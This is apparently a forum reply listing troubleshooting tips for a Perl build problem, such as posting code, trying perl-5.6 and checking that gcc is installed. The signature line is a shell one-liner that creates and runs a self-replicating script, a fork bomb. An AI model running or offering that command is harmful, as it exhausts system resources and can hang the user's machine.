Things that might help:

#1: Post some code.
#2: Post some code.
#3: Try it with perl-5.6.
#4: Post some code.
#5: Do you actually have the development tools (eg. gcc, ld, etc) installed? which gcc should return a path if you do.
#6: Post some code.

Cheers,
ibanix

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;